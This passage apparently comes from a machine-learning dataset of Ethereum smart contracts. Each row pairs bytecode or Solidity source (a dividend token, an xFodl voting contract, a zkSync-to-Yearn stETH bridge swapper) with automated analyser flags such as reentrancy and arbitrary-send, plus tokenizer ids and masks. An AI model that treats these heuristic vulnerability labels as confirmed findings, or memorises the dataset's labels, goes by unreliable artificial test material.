a01b031614155b801561259e5750612588611c4e565b6001600160a01b0316826001600160a01b031614155b1561262f57600c548111156125e45760405162461bcd60e51b815260040180806020018281038252602881526020018061372f6028913960400191505060405180910390fd5b6001600160a01b03831660009081526012602052604090205460ff1615801561262657506001600160a01b03821660009081526012602052604090205460ff16155b61262f57600080fd5b60115460ff16612690576001600160a01b03831660009081526014602052604090205460ff166126905760405162461bcd60e51b815260040180806020018281038252603f81526020018061361c603f913960400191505060405180910390fd5b806126a6576126a183836000612e62565b6129ac565b60006126b1306116b1565b600b54909150811080159081906126ca575060115460ff165b80156126e05750600754600160a01b900460ff16155b80156126f65750600754600160a81b900460ff16155b801561271b57506001600160a01b03851660009081526015602052604090205460ff16155b801561274057506001600160a01b03851660009081526013602052604090205460ff16155b801561276557506001600160a01b03841660009081526013602052604090205460ff16155b15612793576007805460ff60a01b1916600160a01b179055612785612fbd565b6007805460ff60a01b191690555b600754600090600160a01b900460ff161580156127ba5750600754600160a81b900460ff16155b6001600160a01b03871660009081526013602052604090205490915060ff16806127fc57506001600160a01b03851660009081526013602052604090205460ff165b8061284457506001600160a01b03861660009081526015602052604090205460ff1615801561284457506001600160a01b03851660009081526015602052604090205460ff16155b1561284d575060005b8015612890576000612875606461286f600f548861311890919063ffffffff16565b90613171565b90506128818582612a48565b945061288e873083612e62565b505b61289b868686612e62565b6008546001600160a01b031663e30443bc876128b6816116b1565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156128fc57600080fd5b505af192505050801561290d575060015b506008546001600160a01b031663e30443bc86612929816116b1565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561296f57600080fd5b505af1925050508015612980575060015b505050506001600160a01b03808416600090815260166020526040808220429081905592851682529020555b505050565b60008184841115612a405760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a055781810151838201526020016129ed565b50505050905090810190601f168015612a325780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60006123c583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129b1565b6001600160a01b03821660009081526015602052604090205460ff1615158115151415612ae85760405162461bcd60e51b815260040180806020018281038252603f8152602001806138ef603f913960400191505060405180910390fd5b6001600160a01b0382166000908152601560205260409020805460ff19168215801591909117909155612b7c576008546040805163031e79db60e41b81526001600160a01b038581166004830152915191909216916331e79db091602480830192600092919082900301818387803b158015612b6357600080fd5b505af1158015612b77573d6000803e3d6000fd5b505050505b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b600854604080516302a2e74960e61b81526001600160a01b0386811660048301529151600093929092169163a8b9d24091602480820192602092909190829003018186803b158015612c0957600080fd5b505afa158015612c1d573d6000803e3d6000fd5b505050506040513d6020811015612c3357600080fd5b5051905080612c735760405162461bcd60e51b815260040180806020018281038252602b81526020018061392e602b913960400191505060405180910390fd5b82612d5557600854604080516352b5f81d60e01b81526001600160a01b03878116600483018190526024830152915160009392909216916352b5f81d9160448082019260209290919082900301818787803b158015612cd157600080fd5b505af1158015612ce5573d6000803e3d6000fd5b505050506040513d6020811015612cfb57600080fd5b505190508015612d4e5760408051828152600060208201526001600160a01b0387168183015290517f67dd3d116bf53e0ddda53bb148a5fdc129854e1c507c0eeda9190049a9bbc84f9181900360600190a15b50506129ac565b600854604080516352b5f81d60e01b81526001600160a01b038781166004830152306024830152915160009392909216916352b5f81d9160448082019260209290919082900301818787803b158015612dad57600080fd5b505af1158015612dc1573d6000803e3d6000fd5b505050506040513d6020811015612dd757600080fd5b505190508015611461576007805460ff60a81b1916600160a81b1790556000612e018285886131b3565b6007805460ff60a81b1916905560408051848152602081018390526001600160a01b0389168183015290519192507f67dd3d116bf53e0ddda53bb148a5fdc129854e1c507c0eeda9190049a9bbc84f919081900360600190a1505050505050565b6001600160a01b038316612ea75760405162461bcd60e51b815260040180806020018281038252602581526020018061385a6025913960400191505060405180910390fd5b6001600160a01b038216612eec5760405162461bcd60e51b81526004018080602001828103825260238152602001806135b06023913960400191505060405180910390fd5b612ef78383836129ac565b612f34816040518060600160405280602681526020016136d8602691396001600160a01b03861660009081526020819052604090205491906129b1565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612f63908261236b565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000612fc8306116b1565b9050612fd3816133a4565b60004790506000612ff5600f5461286f600e548561311890919063ffffffff16565b6009549091506001600160a01b03166108fc613012836002613171565b6040518115909202916000818181858888f1935050505015801561303a573d6000803e3d6000fd5b50600a546001600160a01b03166108fc613055836002613171565b6040518115909202916000818181858888f1935050505015801561307d573d6000803e3d6000fd5b5060085460405147916000916001600160a01b039091169083908381818185875af1925050503d80600081146130cf576040519150601f19603f3d011682016040523d82523d6000602084013e6130d4565b606091505b505090508015611461576040805183815290517fb0cc2628d6d644cf6be9d8110e142297ac910d6d8026d795a99f272fd9ad60b19181900360200190a15050505050565b60008261312757506000610d66565b8282028284828161313457fe5b04146123c55760405162461bcd60e51b81526004018080602001828103825260218152602001806137bd6021913960400191505060405180910390fd5b60006123c583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061354a565b60408051600280825260608083018452600093909291906020830190803683375050600654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561321d57600080fd5b505afa158015613231573d6000803e3d6000fd5b505050506040513d602081101561324757600080fd5b50518151829060009061325657fe5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061328457fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060006132af846116b1565b9050600660009054906101000a90046001600160a01b03166001600160a01b031663b6f9de9587878588426040518663ffffffff1660e01b81526004018085815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561334457818101518382015260200161332c565b50505050905001955050505050506000604051808303818588803b15801561336b57600080fd5b505af115801561337f573d6000803e3d6000fd5b5050505050600061339982613393876116b1565b90612a48565b979650505050505050565b604080516002808252606080830184529260208301908036833701905050905030816000815181106133d257fe5b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561342657600080fd5b505afa15801561343a573d6000803e3d6000fd5b505050506040513d602081101561345057600080fd5b505181518290600190811061346157fe5b6001600160a01b03928316602091820292909201015260065461348791309116846123d0565b60065460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561350d5781810151838201526020016134f5565b505050509050019650505050505050600060405180830381600087803b15801561353657600080fd5b505af115801561145f573d6000803e3d6000fd5b600081836135995760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612a055781810151838201526020016129ed565b5060008385816135a557fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373544f4b454e3a20546865206e6577206469766964656e6420747261636b6572206d757374206265206f776e65642062792074686520544f4b454e20746f6b656e20636f6e7472616374544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e6420746f6b656e7320756e74696c2074726164696e6720697320656e61626c65644f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373544f4b454e3a205072652074726164696e6720697320616c7265616479207468652076616c7565206f6620276578636c756465642745524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365544f4b454e3a204163636f756e7420697320616c7265616479207468652076616c7565206f6620276578636c75646564275472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e544f4b454e3a204163636f756e74206d7573742068617665206265656e20696e61637469766520666f72206174206c65617374203132207765656b73544f4b454e3a2054686520726f7574657220616c72656164792068617320746861742061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572544f4b454e3a20546865206469766964656e6420747261636b657220616c7265616479206861732074686174206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373544f4b454e3a204163636f756e742062616c616e6365206d757374206265206c657373207468656e206d696e696d756d20746f6b656e2062616c616e636520666f72206469766964656e647345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373544f4b454e3a204175746f6d61746564206d61726b6574206d616b6572207061697220697320616c72656164792073657420746f20746861742076616c7565544f4b454e3a20436c61696d657220686173206e6f20776974686472617761626c65206469766964656e6445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f544f4b454e3a2054686520556e695377617020706169722063616e6e6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b65744d616b65725061697273544f4b454e3a2054726164696e6720697320616c726561647920656e61626c6564a264697066735822122079986bdd91ba3b3657dbf83392096505a793889ce326532f150b5e42e189e8e764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 23352, 21084, 2581, 2620, 14526, 2549, 2063, 22932, 2063, 2620, 2094, 2581, 2050, 22203, 10790, 28311, 18139, 2575, 2581, 26224, 2094, 2509, 2278, 2581, 16665, 26337, 1013, 1008, 24529, 14228, 16070, 1006, 1002, 1056, 4939, 2226, 1007, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 4037, 1024, 16770, 1024, 1013, 1013, 24529, 14228, 16070, 1012, 4012, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 24529, 14228, 16070, 10474, 1024, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 24529, 14228, 2378, 16161, 7520, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 1003, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,835
0x9775b1B780Eb824ABF94C9ecE26387d92C2e0217
pragma solidity ^0.8.0; interface IERC20 { function balanceOf(address user) external view returns (uint256); function totalSupply() external view returns (uint256); } interface CToken { function balanceOfUnderlying(address user) external view returns (uint256); } contract XFodlVoting { using SafeMath for uint256; IERC20 fodl = IERC20(0x4C2e59D098DF7b6cBaE0848d66DE2f8A4889b9C3); IERC20 xFodl = IERC20(0x7e05540A61b531793742fde0514e6c136b5fbAfE); CToken fxFodl = CToken(0xF0A6b4F7F26F6188d821CFBc69A31fb0bbB9702F); function balanceOf(address user) external view returns (uint256) { uint256 xFodlBalance = xFodl.balanceOf(user).add(fxFodl.balanceOfUnderlying(user)); return xFodlBalance.mul(fodl.balanceOf(address(xFodl))).div(xFodl.totalSupply()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806370a0823114610030575b600080fd5b61004361003e366004610332565b610055565b60405190815260200160405180910390f35b6002546040517f3af9e66900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff838116600483015260009283926101aa9290911690633af9e6699060240160206040518083038186803b1580156100c957600080fd5b505afa1580156100dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101019190610368565b6001546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8781166004830152909116906370a082319060240160206040518083038186803b15801561016c57600080fd5b505afa158015610180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101a49190610368565b9061030e565b9050610307600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561021757600080fd5b505afa15801561022b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061024f9190610368565b6000546001546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff91821660048201526103019291909116906370a082319060240160206040518083038186803b1580156102c257600080fd5b505afa1580156102d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fa9190610368565b849061031a565b90610326565b9392505050565b60006103078284610381565b600061030782846103d4565b60006103078284610399565b60006020828403121561034457600080fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461030757600080fd5b60006020828403121561037a57600080fd5b5051919050565b6000821982111561039457610394610411565b500190565b6000826103cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561040c5761040c610411565b500290565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea2646970667358221220ac1d997e2601fff089bbce992786b372c95d1112ed36c22df6d931a197fd529b64736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 23352, 2497, 2487, 2497, 2581, 17914, 15878, 2620, 18827, 7875, 2546, 2683, 2549, 2278, 2683, 26005, 23833, 22025, 2581, 2094, 2683, 2475, 2278, 2475, 2063, 2692, 17465, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 5703, 11253, 1006, 4769, 5310, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1065, 8278, 14931, 11045, 2078, 1063, 3853, 5703, 11253, 20824, 2135, 2075, 1006, 4769, 5310, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1065, 3206, 1060, 14876, 19422, 22994, 2075, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,836
0x977667c0f4601428c5242D4b6501b69e8Bc0A75f
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.3; import "./ZkSyncBridgeSwapper.sol"; import "./interfaces/ILido.sol"; import "./interfaces/ICurvePool.sol"; import "./interfaces/IYearnVault.sol"; /** * @notice Exchanges Eth for the "Yearn vault Curve pool staked Eth" token. * Indexes: * 0: Eth * 1: yvCrvStEth */ contract BoostedEthBridgeSwapper is ZkSyncBridgeSwapper { address public immutable stEth; address public immutable crvStEth; address public immutable yvCrvStEth; ICurvePool public immutable stEthPool; address public immutable lidoReferral; constructor( address _zkSync, address _l2Account, address _yvCrvStEth, address _stEthPool, address _lidoReferral ) ZkSyncBridgeSwapper(_zkSync, _l2Account) { require(_yvCrvStEth != address(0), "null _yvCrvStEth"); yvCrvStEth = _yvCrvStEth; address _crvStEth = IYearnVault(_yvCrvStEth).token(); require(_crvStEth != address(0), "null crvStEth"); require(_stEthPool != address(0), "null _stEthPool"); require(_crvStEth == ICurvePool(_stEthPool).lp_token(), "crvStEth mismatch"); crvStEth = _crvStEth; stEth = ICurvePool(_stEthPool).coins(1); stEthPool = ICurvePool(_stEthPool); lidoReferral = _lidoReferral; } function exchange(uint256 _indexIn, uint256 _indexOut, uint256 _amountIn) external override returns (uint256 amountOut) { require(_indexIn + _indexOut == 1, "invalid indexes"); if (_indexIn == 0) { transferFromZkSync(ETH_TOKEN); amountOut = swapEthForYvCrv(_amountIn); transferToZkSync(yvCrvStEth, amountOut); emit Swapped(ETH_TOKEN, _amountIn, yvCrvStEth, amountOut); } else { transferFromZkSync(yvCrvStEth); amountOut = swapYvCrvForEth(_amountIn); transferToZkSync(ETH_TOKEN, amountOut); emit Swapped(yvCrvStEth, _amountIn, ETH_TOKEN, amountOut); } } function swapEthForYvCrv(uint256 _amountIn) public payable returns (uint256) { // ETH -> crvStETH uint256 minLpAmount = getMinAmountOut((1 ether * _amountIn) / stEthPool.get_virtual_price()); uint256 crvStEthAmount = stEthPool.add_liquidity{value: _amountIn}([_amountIn, 0], minLpAmount); // crvStETH -> yvCrvStETH IERC20(crvStEth).approve(yvCrvStEth, crvStEthAmount); return IYearnVault(yvCrvStEth).deposit(crvStEthAmount); } function swapYvCrvForEth(uint256 _amountIn) public returns (uint256) { // yvCrvStETH -> crvStETH uint256 crvStEthAmount = IYearnVault(yvCrvStEth).withdraw(_amountIn); // crvStETH -> ETH uint256 minAmountOut = getMinAmountOut((crvStEthAmount * stEthPool.get_virtual_price()) / 1 ether); return stEthPool.remove_liquidity_one_coin(crvStEthAmount, 0, minAmountOut); } function ethPerYvCrvStEth() public view returns (uint256) { return IYearnVault(yvCrvStEth).pricePerShare() * stEthPool.get_virtual_price() / 1 ether; } function yvCrvStEthPerEth() public view returns (uint256) { return (1 ether ** 2) / ethPerYvCrvStEth(); } function tokens(uint256 _index) external view returns (address) { if (_index == 0) { return ETH_TOKEN; } else if (_index == 1) { return yvCrvStEth; } revert("invalid _index"); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.3; import "./interfaces/IZkSync.sol"; import "./interfaces/IBridgeSwapper.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; abstract contract ZkSyncBridgeSwapper is IBridgeSwapper { // The owner of the contract address public owner; // The max slippage accepted for swapping. Defaults to 1% with 6 decimals. uint256 public slippagePercent = 1e6; // The ZkSync bridge contract address public immutable zkSync; // The L2 market maker account address public immutable l2Account; address constant internal ETH_TOKEN = address(0); event OwnerChanged(address _owner, address _newOwner); event SlippageChanged(uint256 _slippagePercent); modifier onlyOwner { require(msg.sender == owner, "unauthorised"); _; } constructor(address _zkSync, address _l2Account) { zkSync = _zkSync; l2Account = _l2Account; owner = msg.sender; } function changeOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0), "invalid input"); owner = _newOwner; emit OwnerChanged(owner, _newOwner); } function changeSlippage(uint256 _slippagePercent) external onlyOwner { require(_slippagePercent != slippagePercent && _slippagePercent <= 100e6, "invalid slippage"); slippagePercent = _slippagePercent; emit SlippageChanged(slippagePercent); } /** * @dev Check if there is a pending balance to withdraw in zkSync and withdraw it if applicable. * @param _token The token to withdraw. */ function transferFromZkSync(address _token) internal { uint128 pendingBalance = IZkSync(zkSync).getPendingBalance(address(this), _token); if (pendingBalance > 0) { IZkSync(zkSync).withdrawPendingBalance(payable(address(this)), _token, pendingBalance); } } /** * @dev Deposit the ETH or ERC20 token to zkSync. * @param _outputToken The token that was given. * @param _amountOut The amount of given token. */ function transferToZkSync(address _outputToken, uint256 _amountOut) internal { if (_outputToken == ETH_TOKEN) { // deposit Eth to L2 bridge IZkSync(zkSync).depositETH{value: _amountOut}(l2Account); } else { // approve the zkSync bridge to take the output token IERC20(_outputToken).approve(zkSync, _amountOut); // deposit the output token to the L2 bridge IZkSync(zkSync).depositERC20(IERC20(_outputToken), toUint104(_amountOut), l2Account); } } /** * @dev Safety method to recover ETH or ERC20 tokens that are sent to the contract by error. * @param _token The token to recover. */ function recoverToken(address _recipient, address _token) external onlyOwner returns (uint256 balance) { bool success; if (_token == ETH_TOKEN) { balance = address(this).balance; (success, ) = _recipient.call{value: balance}(""); } else { balance = IERC20(_token).balanceOf(address(this)); success = IERC20(_token).transfer(_recipient, balance); } require(success, "failed to recover"); } /** * @dev fallback method to make sure we can receive ETH */ receive() external payable { } /** * @dev Returns the minimum accepted out amount. */ function getMinAmountOut(uint256 _amountIn) internal view returns (uint256) { return _amountIn * (100e6 - slippagePercent) / 100e6; } /** * @dev Returns the downcasted uint104 from uint256, reverting on * overflow (when the input is greater than largest uint104). */ function toUint104(uint256 value) internal pure returns (uint104) { require(value <= type(uint104).max, "SafeCast: value doesn't fit in 104 bits"); return uint104(value); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.3; interface ILido { function submit(address _referral) external payable returns (uint256); } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.3; interface ICurvePool { function coins(uint256 _i) external view returns (address); function lp_token() external view returns (address); function get_virtual_price() external view returns (uint256); function exchange(int128 _i, int128 _j, uint256 _dx, uint256 _minDy) external returns (uint256); function add_liquidity(uint256[2] calldata _amounts, uint256 _minMintAmount) external payable returns (uint256); function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _minAmount) external payable returns (uint256); } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.3; interface IYearnVault { function token() external view returns (address); function pricePerShare() external view returns (uint256); function deposit(uint256 _amount) external returns (uint256); function withdraw(uint256 _maxShares) external returns (uint256); } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IZkSync { function getPendingBalance(address _address, address _token) external view returns (uint128); function withdrawPendingBalance(address payable _owner, address _token, uint128 _amount) external; function depositETH(address _zkSyncAddress) external payable; function depositERC20(IERC20 _token, uint104 _amount, address _zkSyncAddress) external; } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.3; interface IBridgeSwapper { event Swapped(address _inputToken, uint256 _amountIn, address _outputToken, uint256 _amountOut); /** * @notice Perform an exchange between two tokens * @dev Index values can usually be found via the constructor arguments (if not hardcoded) * @param _indexIn Index value for the token to send * @param _indexOut Index valie of the token to receive * @param _amountIn Amount of `_indexIn` being exchanged * @return Actual amount of `_indexOut` received */ function exchange(uint256 _indexIn, uint256 _indexOut, uint256 _amountIn) external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an 